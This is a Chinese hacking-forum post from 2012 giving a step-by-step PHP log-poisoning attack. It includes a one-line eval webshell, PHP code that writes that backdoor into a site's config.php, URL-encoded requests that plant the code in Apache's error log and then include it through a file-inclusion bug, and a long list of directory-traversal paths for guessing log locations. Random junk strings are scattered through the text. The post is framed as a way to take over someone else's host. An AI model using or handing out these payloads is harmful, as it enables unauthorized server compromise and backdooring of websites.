找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2377|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 3 n% l3 r6 }: K. S  K

% e9 k7 d2 l4 w9 t0 \比如还是这句一句话木马 9 l, j) r) j3 K' p. t$ K$ ~
<?eval($_POST[cmd]);?>   
3 b4 K6 z2 S2 M8 U7 m, Q, _/ Q# v- [9 j$ \( I4 @
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
  M! j5 F& m- r  Jfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 # i& x; ]7 S1 c* L6 x! `, X% O& U! R

) Z! e3 w8 s0 c, j/ D( A8 Y1 v<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
& T* r6 o# V4 b0 C5 `fclose($fp);?>   //在config.php里写入一句木马语句 * P5 _8 F( U& U! x; a. s
$ J  z% v# B  o2 H
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 $ c- g6 S( I: [8 I1 [* F6 ~" F
转换为
- v" u9 Q& m3 G. I%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F / o7 P: K: J; V& J5 I
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp   E' M; S# h0 e5 w- _
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B : U! o/ r& j9 Y' Z% M7 @" U5 Q: w
fclose%28%24fp%29%3B%3F%3E   R+ O* @6 l0 M* ^$ h/ `" D
我们提交 1 l) s/ ^" e: B0 Y5 Z) i
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
; i4 ?  H# O% ]# Y, g& W+ _%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
6 b# _- i2 q# Z. |0 v7 C. h' q%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B ; X; h1 c$ m8 p' `- u
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
& y, F) @& f. b( C; K! z3 m" q( y/ L, ^4 Y" e
这样就错误日志里就记录下了这行写入webshell的代码。
9 w9 j" v, J, |我们再来包含日志,提交
' c4 O) N  J6 n6 ]6 \$ j$ i6 khttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
+ |4 B' {7 h+ p; p1 @$ [  W  L$ b. P& Y0 C5 ?
这样webshell就写入成功了,config.php里就写入一句木马语句
# q  w' h% G4 p( Z; fOK.
- w& ]+ C/ \6 S  U7 ?* z; bhttp://www.xxx.com/forum/config.php这个就成了我们的webshell
7 f8 c9 A% G* i6 g直接用lanker的客户端一连,主机就是你的了。
5 |6 g! @& p+ o7 m1 Q: }2 K: J% T# k7 s8 N) |* R+ W2 Z
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
% L4 p4 D# L+ e
  _, U9 N) |- }' P" @; O其他的日志路径,你可以去猜,也可以参照这里。 : ]7 Q5 M. y; t7 u
../../../../../../../../../../var/log/httpd/access_log
% u% n  t" i# U+ ~../../../../../../../../../../var/log/httpd/error_log + s2 @/ Z1 f! K1 y" @9 G
../apache/logs/error.log 3 c* T( X- g& X
../apache/logs/access.log 8 T; ^3 `6 Z: Y5 W) \) V3 H$ {# i: H- \
../../apache/logs/error.log
7 Q) ]( C/ w. h! m/ B0 ^2 {../../apache/logs/access.log
* E# t$ D! D' R% A  Z5 c' D1 j../../../apache/logs/error.log 6 Y6 ]6 z  a5 L( V
../../../apache/logs/access.log
, A" S7 o1 u2 D/ x; O' E; z& }../../../../../../../../../../etc/httpd/logs/acces_log - f: S+ ]& h0 ?1 f% j( e/ w
../../../../../../../../../../etc/httpd/logs/acces.log
# r7 h) V5 c8 Z/ m3 g; \' j9 s../../../../../../../../../../etc/httpd/logs/error_log + c0 o, w# z) a2 s& `
../../../../../../../../../../etc/httpd/logs/error.log 0 n. E- [) |4 j* x1 g3 x
../../../../../../../../../../var/www/logs/access_log
. a& s. [; K6 I2 w../../../../../../../../../../var/www/logs/access.log - E$ n1 b. F) n0 g0 k
../../../../../../../../../../usr/local/apache/logs/access_log
! D, P, j$ x: j# K5 c% ~$ ^../../../../../../../../../../usr/local/apache/logs/access.log
' @6 r4 H9 r  r8 G../../../../../../../../../../var/log/apache/access_log ) A* s. I2 @2 a/ \2 \! p
../../../../../../../../../../var/log/apache/access.log
" ?1 `# H. D7 b; g+ Q6 t3 N- E$ ^../../../../../../../../../../var/log/access_log . B- `5 b' E2 X! @; F- G
../../../../../../../../../../var/www/logs/error_log # \" a- J% Y/ w* E: b2 l: [
../../../../../../../../../../var/www/logs/error.log
+ ~# s' q3 @6 X$ W4 f../../../../../../../../../../usr/local/apache/logs/error_log : H" s! |5 f8 ]" h: W0 d1 e
../../../../../../../../../../usr/local/apache/logs/error.log % e+ d: z+ M' A# p
../../../../../../../../../../var/log/apache/error_log
  Q8 D# z" M3 k1 q% w% w/ ?2 k../../../../../../../../../../var/log/apache/error.log
3 l6 w" W1 G! r4 @. y# n3 c. x../../../../../../../../../../var/log/access_log 5 |4 u9 s! w/ G5 J9 O9 J3 M1 a! B
../../../../../../../../../../var/log/error_log
3 v7 W$ g! \- o1 B# R+ [2 F/var/log/httpd/access_log      
/ X' C0 B. ^! l6 m0 Y) ?/var/log/httpd/error_log     
1 [+ k7 |) _$ U../apache/logs/error.log     1 P- N0 }5 a& t, G* |( Z4 r% A8 o
../apache/logs/access.log ) Y1 U2 y" J. r$ N$ o9 ~
../../apache/logs/error.log ' d6 t# r& e0 e7 F8 O% [1 X: Q
../../apache/logs/access.log 7 Q$ ^; @2 R( f" m
../../../apache/logs/error.log ) {  s' V$ p7 R- C+ l# B0 o. X3 h
../../../apache/logs/access.log
- H5 T" g9 D2 H, m4 N/ o. R" c! D/etc/httpd/logs/acces_log ; Z: l, {9 w" g; I# v2 y
/etc/httpd/logs/acces.log - T- O9 k, M+ L/ p; W
/etc/httpd/logs/error_log
9 `  \2 E( h: w" A  w4 m/etc/httpd/logs/error.log
5 B! {2 b, j# H/ L/var/www/logs/access_log
  S( C3 Z% R* v# G/ A) y7 S/var/www/logs/access.log
8 |; ?2 c" p7 m3 E4 }" i/usr/local/apache/logs/access_log
, I  j1 j! d% d, N/usr/local/apache/logs/access.log
: |1 I+ _. X; S; X6 _4 h- t/var/log/apache/access_log
- \  o# R, _% r3 e8 h, P: \/var/log/apache/access.log ' Z3 `3 \# {/ p& Q7 ~( z
/var/log/access_log
7 i( J. f; W0 U& I/var/www/logs/error_log
0 M. [2 d$ n: N3 ~- P/var/www/logs/error.log & p7 t: s, o$ R9 t+ H: K* m0 E
/usr/local/apache/logs/error_log " H: r6 g& N7 i$ Y/ W
/usr/local/apache/logs/error.log : c* |# h9 M0 I$ E5 \
/var/log/apache/error_log
9 |3 e: d% l6 Q1 H& s$ V3 ?/var/log/apache/error.log " ~/ ^5 m; _* d0 j7 v
/var/log/access_log 3 `* ]3 C- y  w
/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表